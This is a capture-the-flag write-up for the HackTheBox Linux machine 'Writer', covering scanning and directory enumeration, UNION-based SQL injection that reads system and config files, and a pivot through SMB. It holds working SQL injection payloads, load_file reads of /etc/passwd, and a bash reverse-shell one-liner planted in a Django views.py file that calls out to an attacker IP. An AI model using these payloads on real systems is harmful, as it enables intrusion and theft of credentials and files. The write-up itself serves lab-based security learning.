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IntroductionWriter is a CTF Linux box with difficulty rated as “medium” on the HackTheBox platform. The machine covers SQL injection vulnerability and privilege escalation using SMTP. Table of ContentNetwork Scanning

* Nmap

Enumeration

* Directory enumeration to find admin page
* Detecting SQL injection on the login page

Exploitation

* Exploiting UNION based SQLi to get essential information about python based webserver
* Fetching internal files using SQL injection to compromise credentials of a user

Privilege Escalation

* Escalating from www-data to Kyle by cracking hashes in the database
* Escalating from Kyle to John by poisoning postfix/disclaimer file
* Escalating from John to root by exploiting apt-get

Let’s deep dive into this. Network ScanningThe dedicated IP address of the machine is 10.10.91.172. We’ll run a nmap scan on this machine’s IP.
nmap -A 10.129.170.230
Open ports were:

* 22 running SSH
* 80 running a website
* 139 running netbios
* 445 running SMB service

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So, we enumerated the directories using gobuster and seclists medium wordlist
gobuster dir -w /home/kali/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
We found an interesting directory called administrative

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This page seemed to be hosting a login panel

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username: ‘ or 1=1 —
password: ‘ or 1=1 —

And we got logged in!

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However, upon observing the request in Burpsuite repeater and using a UNION based SQLi payload, we observed that the second column in the active table was being reflected in the response
uname=admin' union select 1,2,3,4,5,6 -- &password=admin
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We can see the active database’s name by changing the second column by the database() in the payload. As you can see, the active database is “writer”
uname=admin' union select 1,database(),3,4,5,6 -- &password=admin
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Similarly, we can read the /etc/passwd file and try to learn what all users exist.
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1,load_file("/etc/passwd"),3,4,5,6 -- &password=admin
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This gave us an insight into the system. It of course was running Apache webserver so we looked at 000-default.conf file that includes the absolute path of the website. Here, we found a wsgi present which means that a python based webserver (Django or Flask) was running on the webserver.
uname=admin' union select 1,load_file("/etc/apache2/sites-enabled/000-default.conf"),3,4,5,6 -- &password=admin
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Then we tried to read this wsgi file as it includes functions that are used by the server to communicate with the application. So we read this file and found __init__.py was being imported.

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So, we decided to read __init__.py file and found a credential!

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From the knowledge of /etc/passwd that we dumped earlier, we know there exists a finite number of users on the system. Out of those, Kyle seemed to react to this password when we connected to the SMB share. When we logged on to the share we saw the Python server’s files on there. One such file on Django or Flask is the “views.py” file. Views hold the logic that is required to return information as a response in whatever form to the user. This logic is held in the file “views.py
smbmap -H 10.129.170.230 -u "kyle" -p "ToughPasswordToCrack"
smbclient //10.129.170.230/writer2_project -U 'kyle%ToughPasswordToCrack'
cd writer_web
get views.py
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Logically, whatever is in views.py should be rendered by the website. Hence, if we add a simply python one-liner, it would be rendered by the website too. That’s precisely what we did. We added the following code in views.py
import os
os.system('bash -c "bash -i >& /dev/tcp/10.10.14.104/1234 0>&1"')
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Thereafter, we replaced this views.py with the original one using put command in the SMB share

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We set up a listener side by side and gave the website a refresh. We had received a reverse shell! Post ExploitationThe manage.py file in Django is used to communicate with a website’s files and perform functions such as run a server and migrating changes. However, dbshell command is used to communicate with the website’s database. So after a bit of exploring we found a hashed credential in the auth_user table.
python3 manage.py dbshell
show tables;
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